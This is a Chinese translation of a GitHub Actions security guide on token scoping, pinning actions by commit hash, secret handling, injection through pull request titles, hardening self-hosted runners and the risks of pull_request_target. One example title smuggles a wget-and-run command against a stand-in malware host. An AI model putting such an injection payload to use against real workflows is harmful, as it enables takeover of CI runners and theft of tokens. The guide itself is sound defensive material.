GitHub Actions是一個(gè)越來(lái)越受歡迎的CI/CD平臺(tái)。它們能夠在保持易訪問(wèn)性的同時(shí)，自動(dòng)化開(kāi)發(fā)周期的幾乎所有任務(wù)。不過(guò)，由于它們經(jīng)常會(huì)調(diào)用外部代碼，這會(huì)給GitHub Action的工作流帶來(lái)各種風(fēng)險(xiǎn)隱患，因此無(wú)論我們是否維護(hù)的是開(kāi)源項(xiàng)目，都需要采取一些必要的安全措施。下圖是我為您整理的一張保護(hù)GitHub Actions的速查表。我據(jù)此將和您開(kāi)展深入討論。

一、什么是GitHub Actions?

GitHub Actions是GitHub的一種CI/CD服務(wù)。它可以作為從開(kāi)發(fā)系統(tǒng)轉(zhuǎn)化到生產(chǎn)系統(tǒng)的一種工作流機(jī)制。GitHub事件不但能夠觸發(fā)各種action（如：提交拉取請(qǐng)求、開(kāi)啟問(wèn)題、合并拉取請(qǐng)求等），而且可以執(zhí)行任何命令。例如，它們可用于格式化代碼、拉取請(qǐng)求，將問(wèn)題的注釋與另一個(gè)工單系統(tǒng)的注釋相同步，為新的問(wèn)題添加適當(dāng)?shù)臉?biāo)簽，以及觸發(fā)全面的云部署。

通常，該工作流由一到多個(gè)作業(yè)組成。這些作業(yè)在自己的虛擬機(jī)或容器（運(yùn)行程序，runner）中運(yùn)行，并能執(zhí)行一到多個(gè)步驟。其中，每一個(gè)步驟都可以是一個(gè)shell腳本或action。其實(shí)，它是專(zhuān)門(mén)為GitHub CI生態(tài)系統(tǒng)打包的一段可重用的代碼。

由于GitHub托管著數(shù)以百萬(wàn)計(jì)的開(kāi)源項(xiàng)目，這些項(xiàng)目可以通過(guò)拉取請(qǐng)求，進(jìn)行分叉（fork）和貢獻(xiàn)（contribute），因此GitHub Actions的安全性對(duì)于防范供應(yīng)鏈攻擊來(lái)說(shuō)是至關(guān)重要的。下面，我們來(lái)討論一些值得借鑒的優(yōu)秀實(shí)踐：

二、設(shè)置信任憑據(jù)的最小范圍

讓我們將這個(gè)適用于工作流中所有信任憑據(jù)的一般性安全原則，運(yùn)用到特定的GITHUB_TOKEN上。該令牌會(huì)授予每個(gè)運(yùn)行程序與存儲(chǔ)庫(kù)交互的權(quán)限。由于它是臨時(shí)的，因此其有效性僅以工作流的開(kāi)始和結(jié)束為界。

默認(rèn)情況下，該令牌的權(quán)限為“允許”（適用于常見(jiàn)范圍的讀與寫(xiě)）或“受限”（適用于常見(jiàn)范圍的默認(rèn)無(wú)權(quán)限）。由于無(wú)論在哪種情況下，分叉的存儲(chǔ)庫(kù)最多只有一個(gè)讀的訪問(wèn)（read-access）權(quán)限，因此無(wú)論您選擇哪種選項(xiàng)，都應(yīng)該僅授予GITHUB_TOKEN執(zhí)行工作流或作業(yè)所需的最低權(quán)限。為此，我們需要在工作流中，使用“權(quán)限”鍵，來(lái)配置工作流或作業(yè)所需的最低權(quán)限，以實(shí)現(xiàn)對(duì)GitHub Actions權(quán)限的細(xì)粒度控制。

當(dāng)然，該原則也適用于環(huán)境變量。為了限制環(huán)境變量的作用范圍，您也應(yīng)該始終在step級(jí)別去聲明它們，以避免其他階段對(duì)其進(jìn)行任意訪問(wèn)。

三、使用特定的操作版本標(biāo)簽

通常，當(dāng)人們?cè)贕itHub上創(chuàng)建自己的工作流時(shí)，他們會(huì)直接使用由他人創(chuàng)建的Actions。例如，幾乎所有的工作流程都會(huì)從如下步驟開(kāi)始：

YAML
- name: Check out repository
uses: actions/checkout@v3

而多數(shù)人可能認(rèn)為這只是在獲取自己的代碼，沒(méi)什么危險(xiǎn)的。不過(guò)，讓我們來(lái)研究一下它是如何檢查目標(biāo)代碼的：以“uses”開(kāi)頭的一行會(huì)將代碼通過(guò)“actions/checkout”操作，從GitHub存儲(chǔ)庫(kù)獲取到，并推送給運(yùn)行著工作流的服務(wù)器。如果您仔細(xì)閱讀其源代碼，就會(huì)意識(shí)到：盲目地相信其所有行為是極其風(fēng)險(xiǎn)的。各種第三方action會(huì)與您的代碼進(jìn)行交互，并且可能在服務(wù)器上運(yùn)行。對(duì)此，我們往往缺乏在后臺(tái)監(jiān)控各種發(fā)布更新、以及執(zhí)行更改等實(shí)際操作的概念。

讓我們來(lái)設(shè)想這樣一種威脅場(chǎng)景：您需要使用一個(gè)第三方的linter，來(lái)檢查自己代碼上的格式問(wèn)題。為此，您決定直接使用來(lái)自GitHub Actions Marketplace的一個(gè)action，而無(wú)需自行安裝、配置和運(yùn)行l(wèi)inter。在完成試運(yùn)行后，您可以在存儲(chǔ)庫(kù)中設(shè)置一個(gè)使用它的工作流：

YAML
- name: Lint code
uses: someperson/lint-action@v1

而在該操作被使用了數(shù)月之后，您可能突然遇到了API密鑰被盜或?yàn)E用的問(wèn)題。經(jīng)過(guò)調(diào)查，該第三方linter action的作者，最近向GitHub Marketplace推送了一個(gè)更新，將其重新標(biāo)記為“v1”，其中便包含了將環(huán)境變量發(fā)送到某個(gè)隨機(jī)網(wǎng)址的代碼。因此，每個(gè)使用“someperson/linter-action@v1”的人，都會(huì)在他們的工作流中運(yùn)行該惡意代碼。

對(duì)于沒(méi)有人會(huì)關(guān)注其使用的第三方action是否有更新的情況，我們?cè)撊绾螌?shí)施安全保護(hù)呢？GitHub為我們提供了一種方法：您可以通過(guò)提交哈希，而非使用來(lái)自存儲(chǔ)庫(kù)的標(biāo)簽，來(lái)運(yùn)行某項(xiàng)操作。例如，當(dāng)您將容器鏡像自動(dòng)推送到Docker Hub時(shí)，可以在工作流中使用如下代碼，來(lái)進(jìn)行身份驗(yàn)證：

YAML
- name: Log in to the container registry
uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9

左右滑動(dòng)查看完整代碼

通過(guò)在驗(yàn)證Docker Hub時(shí)，準(zhǔn)確地指定待提交的內(nèi)容，我們可以保證工作流中的action具有一致性，而不必?fù)?dān)心其發(fā)生任何變化。

四、不要使用純文本的密碼

雖然這是一個(gè)常識(shí)，但還是需要提一下：請(qǐng)既不要在源代碼中，也不要在CI工作流文件里，以純文本的形式存儲(chǔ)API的密鑰或密碼。作為一項(xiàng)服務(wù)，GitHub Secrets可以讓您以安全的方式，存儲(chǔ)自己的密鑰，并在工作流中使用各種${{}}括號(hào)，來(lái)引用它們，以確保將所有純文本的機(jī)密信息，都排除在GitHub Actions之外。

當(dāng)然，您也可以使用免費(fèi)的ggshield-action，來(lái)掃描源代碼中是否存在著密碼。

五、不要引用您無(wú)法控制的值

正如前文所述，GitHub允許您使用各種${{}}括號(hào)，來(lái)引用GitHub環(huán)境中的機(jī)密信息。不過(guò)，這些可引用的信息不一定是由您設(shè)置的。這也是許多開(kāi)源存儲(chǔ)庫(kù)的常見(jiàn)錯(cuò)誤源。下面的工作流便是我一個(gè)錯(cuò)誤：

YAML
- name: lint
run: |
  echo “${{github.event.pull_request.title}}” | commitlint

其“l(fā)int”命令包含了來(lái)自拉取請(qǐng)求的一些輸入，其中含有獲取由提交請(qǐng)求的人所設(shè)置的拉取請(qǐng)求的標(biāo)題。例如，假設(shè)有人向此存儲(chǔ)庫(kù)提交了如下拉取請(qǐng)求：

a" && wget https://example.com/malware && ./malware && echo "Title

那么，如下YAML工作流會(huì)便會(huì)被評(píng)估：

YAML
- name: lint
run: |
  echo “a" && wget https://example.com/malware && ./malware && echo "Title” | commitlint

在本例中，攻擊者下載并執(zhí)行了惡意軟件，進(jìn)而竊取了運(yùn)行程序的GITHUB_TOKEN。而根據(jù)工作流的運(yùn)行上下文，令牌可能具有對(duì)原始存儲(chǔ)庫(kù)的寫(xiě)入權(quán)限。這就意味著攻擊者完全可以修改存儲(chǔ)庫(kù)里內(nèi)容（也包括發(fā)布）。

另一個(gè)例子則是從CI中竊取敏感數(shù)據(jù)，即收集可用于橫向移動(dòng)的密鑰。由于拉取請(qǐng)求標(biāo)題并非外部各方設(shè)置的唯一GitHub環(huán)境值，因此拉取請(qǐng)求正文、以及發(fā)布的標(biāo)題和正文也是不受信任的。當(dāng)您在GitHub Actions的步驟中引用此類(lèi)變量時(shí)，應(yīng)確保能夠管控它們的來(lái)源。

為了安全起見(jiàn)，您有兩種選擇：

1.使用Action而不是內(nèi)聯(lián)腳本

Action將使用（不可信的）上下文值作為參數(shù)，來(lái)判斷注入攻擊：

YAML
- uses: fakeaction/checktitle@v3
with:
  title: ${{ github.event.pull_request.title }}

2.使用中間環(huán)境變量

如果您需要執(zhí)行一個(gè)腳本，則應(yīng)該設(shè)置一個(gè)中間環(huán)境變量：

YAML
- name: Check PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  echo “$PR_TITLE”

請(qǐng)注意，我們通過(guò)對(duì)變量添加雙引號(hào)，來(lái)避免其他類(lèi)型的利用，從而起到了額外的預(yù)防效果。

六、僅在可信的代碼上運(yùn)行工作流

無(wú)論您是托管自己的action運(yùn)行程序，還是使用GitHub的運(yùn)行程序，當(dāng)工作流運(yùn)行時(shí)，您都需要謹(jǐn)慎地授予潛在的運(yùn)行代碼、訪問(wèn)機(jī)密信息、以及在運(yùn)行程序環(huán)境中執(zhí)行的權(quán)限。

如果您維護(hù)一個(gè)開(kāi)源的存儲(chǔ)庫(kù)，那么很可能會(huì)收到一些從未接觸過(guò)的定期拉取請(qǐng)求。對(duì)此，您應(yīng)該多問(wèn)自己：“在啟動(dòng)工作流時(shí)，正在運(yùn)行的是什么代碼？這些代碼從何而來(lái)？”

讓我們考慮一個(gè)潛在的威脅場(chǎng)景。假設(shè)您是GitHub上某個(gè)組織的維護(hù)者，并且手頭有一個(gè)設(shè)置了自動(dòng)化測(cè)試的開(kāi)源項(xiàng)目。某日，有人向該存儲(chǔ)庫(kù)提交了一個(gè)包含有新特性和一些測(cè)試用例的拉取請(qǐng)求。您不知道的是，其中一個(gè)測(cè)試用例并不包含測(cè)試代碼，而是會(huì)在服務(wù)器上安裝并運(yùn)行某個(gè)“挖礦”應(yīng)用。那么，一旦您的CI啟動(dòng)了所有的測(cè)試代碼，您原有的運(yùn)行程序就會(huì)受到影響。

實(shí)際上，GitHub可以通過(guò)默認(rèn)設(shè)置，來(lái)保護(hù)我們免受此類(lèi)攻擊。也就是說(shuō)，GitHub能夠不允許個(gè)人帳戶在公共存儲(chǔ)庫(kù)上使用自托管運(yùn)行程序，而僅對(duì)組織不設(shè)限。

針對(duì)此類(lèi)場(chǎng)景的另一種保護(hù)措施是，針對(duì)來(lái)自拉取請(qǐng)求的代碼，確定何時(shí)運(yùn)行GitHub Actions。默認(rèn)情況下，來(lái)自首次貢獻(xiàn)者（contributor）的拉取請(qǐng)求，需要維護(hù)者的批準(zhǔn)，才能開(kāi)始CI測(cè)試。而作為維護(hù)者，您有責(zé)任確保在批準(zhǔn)工作流之前，仔細(xì)閱讀所有提交的代碼。當(dāng)然，如果有人在提交帶有惡意代碼的第二個(gè)請(qǐng)求之前，事先提交了一個(gè)小的拉取請(qǐng)求。那么由于他并非首次貢獻(xiàn)者，其所有的配置工作流都會(huì)自動(dòng)運(yùn)行。對(duì)此，GitHub可以被設(shè)置為要求所有外部合作者的每一次請(qǐng)求都需要獲得批準(zhǔn)。

七、加固Action運(yùn)行程序

在設(shè)置CI工作流期間，您可以在每個(gè)工作流中指定其應(yīng)該運(yùn)行的位置。GitHub提供了一些針對(duì)Ubuntu、Mac和Windows等不同的運(yùn)行程序。當(dāng)您使用GitHub的運(yùn)行程序時(shí)，它們必須作為一個(gè)干凈的VM被啟動(dòng)。當(dāng)然，您也可以選擇將自己的服務(wù)器配置為運(yùn)行程序，來(lái)執(zhí)行自己的工作流。

注意，請(qǐng)千萬(wàn)不要將自托管的運(yùn)行程序用于公共存儲(chǔ)庫(kù)。這無(wú)疑允許了任何人分叉您的存儲(chǔ)庫(kù)，進(jìn)而提交惡意拉取請(qǐng)求，逃離沙箱，以及訪問(wèn)網(wǎng)絡(luò)。如果您確實(shí)需要設(shè)置自托管運(yùn)行程序的話，請(qǐng)注意如下方面：

1.您自己應(yīng)該是唯一能夠配置服務(wù)器上運(yùn)行的工作流的人。

2.使用專(zhuān)用的非特權(quán)帳戶（例如：github-runner等非管理員的權(quán)限）來(lái)啟動(dòng)運(yùn)行程序，并執(zhí)行工作流。同時(shí)，您應(yīng)該確保它無(wú)權(quán)修改其工作空間之外的任何內(nèi)容（除非在工作流中使用sudo），并且只允許它執(zhí)行所屬的特定文件。

3.通過(guò)設(shè)置臨時(shí)且被隔離的負(fù)載，來(lái)執(zhí)行諸如Kubernetes Pod或容器等作業(yè)。據(jù)此，當(dāng)工作流完成時(shí)，虛擬機(jī)就會(huì)被銷(xiāo)毀，以避免各種潛在的風(fēng)險(xiǎn)。

4.使用日志記錄和安全監(jiān)控工具。如果您有一個(gè)安全團(tuán)隊(duì)，可通過(guò)使用EDR代理、或類(lèi)似Linux的Sysmon之類(lèi)的工具，去收集運(yùn)行程序服務(wù)器上的進(jìn)程日志，并通過(guò)檢測(cè)規(guī)則，在發(fā)生可疑情況時(shí)發(fā)出警告。

在典型的SolarWinds供應(yīng)鏈攻擊中，攻擊者曾位于SolarWinds所構(gòu)建的服務(wù)器內(nèi)，并使用其訪問(wèn)權(quán)限將惡意代碼注入到了Orion平臺(tái)上。如果我們能夠?qū)\(yùn)行程序的可疑活動(dòng)采取有效的監(jiān)控的話，就能夠確保代碼的完整性，防范構(gòu)建過(guò)程被篡改，以及攻擊者使用的命令與控制（command-and-control，C2）、及各種持久性技術(shù)。

八、請(qǐng)小心使用pull_request_target觸發(fā)器

在維護(hù)開(kāi)源的存儲(chǔ)庫(kù)時(shí)，您還可能碰到被稱(chēng)為pwn requests的漏洞。惡意拉取請(qǐng)求會(huì)利用該漏洞，在特定情況下截獲秘密信息、甚至篡改發(fā)布。因此，如果您在GitHub Actions中使用了“on: pull_request_target”事件，請(qǐng)不要使用如下代碼內(nèi)容：

YAML
on: pull_request_target
…
steps:
- uses: actions/checkout@v3
with:
    ref: ${{ github.event.pull_request.head.sha }}

也就是說(shuō)，當(dāng)有人分叉您的存儲(chǔ)庫(kù)，并打開(kāi)一個(gè)拉取請(qǐng)求時(shí)，就會(huì)涉及到兩個(gè)存儲(chǔ)庫(kù)：一個(gè)是在您控制下的目標(biāo)庫(kù)，以及他人的分叉存儲(chǔ)庫(kù)（fork repo）。

通常，當(dāng)有人提交拉取請(qǐng)求時(shí)，我們會(huì)使用“pull_request”觸發(fā)事件，來(lái)觸發(fā)工作流。有了它，被觸發(fā)的工作流就只會(huì)在提交者的分叉存儲(chǔ)庫(kù)的上下文中運(yùn)行。而且，被提供的GITHUB_TOKEN將沒(méi)有寫(xiě)入的權(quán)限，更無(wú)法訪問(wèn)到機(jī)密信息。

雖然這些都是合理的默認(rèn)設(shè)置，但在某些情況下，它們可能有點(diǎn)過(guò)于受限了。應(yīng)開(kāi)源社區(qū)的要求，GitHub引入了“pull_request_target”事件。它與前者之間的區(qū)別并不大，但存在著一些安全隱患。例如：由于pull_request_target觸發(fā)器是在您的目標(biāo)存儲(chǔ)庫(kù)的上下文中運(yùn)行的，那么工作流便可以訪問(wèn)到您的機(jī)密信息，并寫(xiě)入您的代碼。一旦工作流運(yùn)行那些不受控制的代碼，就會(huì)變得非常危險(xiǎn)。這也就是為什么檢查分叉存儲(chǔ)庫(kù)的代碼，就需要解讀工作流，以分析出任何類(lèi)型的遠(yuǎn)程代碼執(zhí)行的原因。

九、漏洞示例

為了證明這一點(diǎn)，讓我們來(lái)看下面易受攻擊的GitHub Action：

YAML
name: my action
on: pull_request_target
jobs:
pr-check:
name: Check PR
runs-on: ubuntu-latest
steps:
- name: Setup Action
uses: actions/checkout@v3
with:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{github.event.pull_request.head.repo.full_name}}
- name: Setup Python 3.10
uses: actions/setup-python@v3
with:
python-version: 3.10
- name: Install dependencies
run: pip install -r requirements.txt
- name: some command
run: some_command
env:
        SOME_SECRET: ${{ secrets.SOME_SECRET }}

該代碼滿足了兩個(gè)條件：工作流觸發(fā)器運(yùn)行在目標(biāo)存儲(chǔ)庫(kù)上，作業(yè)的第一步是簽出拉取請(qǐng)求代碼的HEAD（即，最后一次提交）。因此，該代碼將會(huì)在來(lái)自拉取請(qǐng)求的工作流的其余部分被使用到，并且會(huì)打開(kāi)各種被利用的威脅向量。

例如，為了安裝依賴項(xiàng)而執(zhí)行的、看似無(wú)害的“run: pip install ...”，此時(shí)便是一個(gè)潛在的向量。畢竟只要通過(guò)修改setup.py，便可在pip啟動(dòng)之前，執(zhí)行某個(gè)“預(yù)安裝”的腳本。而且，由于腳本中可以使用各種shell命令，因此攻擊者可以輕松地啟動(dòng)反向shell，或獲取惡意負(fù)載。該負(fù)載旨在對(duì)原始存儲(chǔ)庫(kù)的源代碼執(zhí)行修改、以及重新標(biāo)記（re-tagging）發(fā)布等操作。

這可以說(shuō)是為發(fā)起供應(yīng)鏈攻擊準(zhǔn)備的“完美”漏洞，畢竟開(kāi)源項(xiàng)目的所有用戶都可能在不知情的情況下受到此類(lèi)攻擊。當(dāng)然，這只是一個(gè)攻擊向量。而通過(guò)更改some_command二進(jìn)制文件，來(lái)竊取SOME_SECRET環(huán)境變量，可能要容易得多。

注意，不僅是上述shell命令在此類(lèi)配置中容易受攻擊，就算工作流僅依賴于action，由于各種action會(huì)在后臺(tái)執(zhí)行本地的腳本，因此代碼注入仍然極容易發(fā)生。這就是為什么我們強(qiáng)烈建議您不要使用pull_request_target的原因。即便您使用了，也千萬(wàn)不要盲目地簽出那些不受信任的拉取請(qǐng)求代碼。

十、首選使用OpenID Connect訪問(wèn)云資源

OpenID Connect（OIDC）允許您將工作流請(qǐng)求并使用來(lái)自云服務(wù)提供商的短期訪問(wèn)令牌，而無(wú)需將那些長(zhǎng)期有效的密鑰復(fù)制到GitHub中。通過(guò)配置，您還能受益于來(lái)自云提供商的細(xì)粒度訪問(wèn)控制，以及更好的自動(dòng)化密鑰管理。

為此，您需要首先在云提供商處建立OIDC的信任關(guān)系，以控制誰(shuí)可以訪問(wèn)什么資源。然后，在GitHub上，OIDC提供者將被配置為自動(dòng)生成包含聲明的JWT令牌。該聲明允許工作流對(duì)云服務(wù)提供者進(jìn)行身份驗(yàn)證。一旦這些聲明被驗(yàn)證通過(guò)，一個(gè)基于角色范疇的、短期訪問(wèn)令牌就會(huì)被發(fā)送回工作流，以方便后期執(zhí)行。

十一、結(jié)論

綜上所述，作為開(kāi)源社區(qū)最受歡迎的CI/CD工具之一，GitHub Actions可被用于公共或私有存儲(chǔ)庫(kù)的各項(xiàng)操作。不過(guò)，從安全的角度，您應(yīng)該小心設(shè)置與之相關(guān)工作流的方式，以避免密鑰、工件、以及供應(yīng)鏈?zhǔn)艿焦簟?/p>

在此，我將上面討論過(guò)的GitHub Actions的安全實(shí)踐總結(jié)如下：

1.使用最小范圍的信任憑據(jù)，并且確保GITHUB_TOKEN配置了最低權(quán)限，去運(yùn)行您的作業(yè)。

2.使用特定的版本標(biāo)簽，以免受到第三方action的供應(yīng)鏈危害。

3.切勿以明文形式存儲(chǔ)任何API密鑰、令牌或密碼，請(qǐng)使用ggshield-action在您的CI工作流中通過(guò)修復(fù)，來(lái)實(shí)施密鑰檢測(cè)。

4.避免直接引用易受惡意拉取請(qǐng)求注入的代碼、不可控的值，請(qǐng)使用帶有參數(shù)的action，或直接將值綁定到環(huán)境變量中。

5.在使用自托管運(yùn)行程序時(shí)，應(yīng)格外小心，最好不要將此選項(xiàng)用于開(kāi)源存儲(chǔ)庫(kù)，或啟用要求所有外部提交都獲批才能運(yùn)行的工作流。讓運(yùn)行程序使用虛擬機(jī)，并將其配置為在最短時(shí)間內(nèi)，使用低權(quán)限用戶，并配備充分的日志記錄和監(jiān)控工具。

6.鑒于惡意的拉取請(qǐng)求可能會(huì)濫用您的構(gòu)建步驟、密鑰，進(jìn)而破壞您的環(huán)境，因此在使用“pull_request_target event”時(shí)，請(qǐng)不要簽出外部拉取請(qǐng)求。

7.盡量使用OpenID Connect，而非長(zhǎng)期有效的密鑰，來(lái)實(shí)現(xiàn)工作流與云端資源的交互。

原文鏈接：?https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet??

譯者介紹

陳峻 （Julian Chen），51CTO社區(qū)編輯，具有十多年的IT項(xiàng)目實(shí)施經(jīng)驗(yàn)，善于對(duì)內(nèi)外部資源與風(fēng)險(xiǎn)實(shí)施管控，專(zhuān)注傳播網(wǎng)絡(luò)與信息安全知識(shí)與經(jīng)驗(yàn)。